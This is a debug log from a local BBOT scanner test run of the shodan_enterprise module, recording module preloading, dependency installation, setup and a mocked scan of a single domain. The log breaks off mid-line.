bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:07:56,870 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:07:56,870 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:07:56,871 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:07:56,872 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:07:56,873 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:07:56,873 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:07:56,874 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:07:56,874 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:07:56,875 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:07:56,876 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:07:56,876 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:07:56,877 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:07:56,877 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:07:56,878 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:07:56,878 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:07:56,879 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:07:56,880 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:07:56,881 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:07:56,881 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:07:56,882 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:07:56,882 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:07:56,888 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:07:56,888 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:07:56,889 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:07:56,890 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:07:56,891 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:07:56,892 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:07:56,892 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:07:56,893 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:07:56,894 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:07:56,894 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:07:56,896 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:07:56,896 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:07:56,897 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:07:56,898 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:07:56,899 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:07:56,899 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:07:56,900 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:07:56,900 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:07:56,901 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:07:56,902 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:07:56,902 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:07:56,903 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:07:56,903 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:07:56,904 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:07:56,905 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:07:56,905 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:07:56,906 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:07:56,907 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:07:56,908 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:07:56,908 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:07:56,909 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:07:56,910 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:07:56,910 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:07:56,911 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:07:56,911 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:07:56,912 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:07:56,912 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:07:56,913 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:07:56,913 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:07:56,914 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:07:56,915 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:07:56,915 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:07:56,916 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:07:56,916 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:07:56,917 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:07:56,917 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:07:56,918 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:07:56,919 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:07:56,919 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:07:56,920 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:07:56,920 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:07:56,921 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:07:56,922 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:07:56,923 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:07:56,924 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:07:56,924 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:07:56,925 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:07:56,925 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:07:56,926 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:07:56,926 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:07:56,927 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:07:56,928 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:07:56,929 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:07:56,929 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:07:56,930 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:07:56,930 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:07:56,931 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:07:56,932 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:07:56,933 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:07:56,933 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:07:56,934 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:07:56,935 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:07:56,935 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:07:56,936 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:07:56,936 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:07:56,937 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:07:56,938 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:07:56,938 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:07:56,939 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:07:56,939 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:07:56,940 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:07:58,010 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:07:58,010 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:07:58,011 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:07:58,147 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:07:58,716 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:07:58,716 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:07:58,717 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:07:58,717 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:07:58,951 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:07:58,952 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:07:59,061 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:07:59,061 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:07:59,115 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:07:59,118 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:07:59,118 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:07:59,554 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:07:59,555 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:08:01,551 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:08:01,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:08:01,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:08:03,335 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:08:03,336 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:08:03,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:08:03,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:08:03,341 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:08:03,341 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:08:03,341 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:08:03,342 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:08:03,345 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/6t27942n1w1dfiyy0bux +2026-02-27 19:08:04,140 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:08:04,141 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:08:04,143 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:08:04,144 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:08:04,263 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:08:04,263 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:08:04,263 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:08:04,265 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:08:04,266 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:08:04,266 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:08:04,266 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:08:04,267 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:08:04,267 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:08:04,268 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:08:04,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:08:04,270 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:08:04,271 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:08:04,271 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:08:04,272 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:08:04,272 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:08:04,272 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:08:04,273 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:08:04,273 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:08:04,273 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:08:04,273 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:08:04,275 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:08:04,275 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:08:04,275 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:08:04,278 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 19:08:04,419 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_awsj7y3s1x +2026-02-27 19:08:04,419 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 19:08:04,527 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 19:08:04,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 19:08:04,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 19:08:04,530 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) +2026-02-27 19:08:04,629 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) passed post-check +2026-02-27 19:08:04,630 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) +2026-02-27 19:08:04,632 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) in-scope because its main host matches the scan target +2026-02-27 19:08:04,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) +2026-02-27 19:08:04,634 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:08:04,635 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:08:04,635 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) passed post-check +2026-02-27 19:08:04,636 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) +2026-02-27 19:08:04,637 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:08:04,639 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 19:08:04,639 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:08:04,641 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:08:04,641 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:08:04,643 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:08:04,644 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 19:08:04,649 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 19:08:04,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) +2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) passed post-check +2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) +2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) +2026-02-27 19:08:04,652 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 19:08:04,730 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 19:08:04,732 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:08:04,733 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) from TARGET +2026-02-27 19:08:04,733 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) passed post-check +2026-02-27 19:08:04,734 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 19:08:04,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 19:08:04,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 19:08:04,735 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 19:08:04,736 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 19:08:04,737 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 19:08:04,737 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 19:08:04,737 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 19:08:04,838 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 19:08:04,839 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 19:08:04,857 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 19:08:04,858 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 19:08:04,858 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 19:08:04,865 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 19:08:04,866 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 19:08:04,866 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 19:08:04,868 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 19:08:04,868 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: 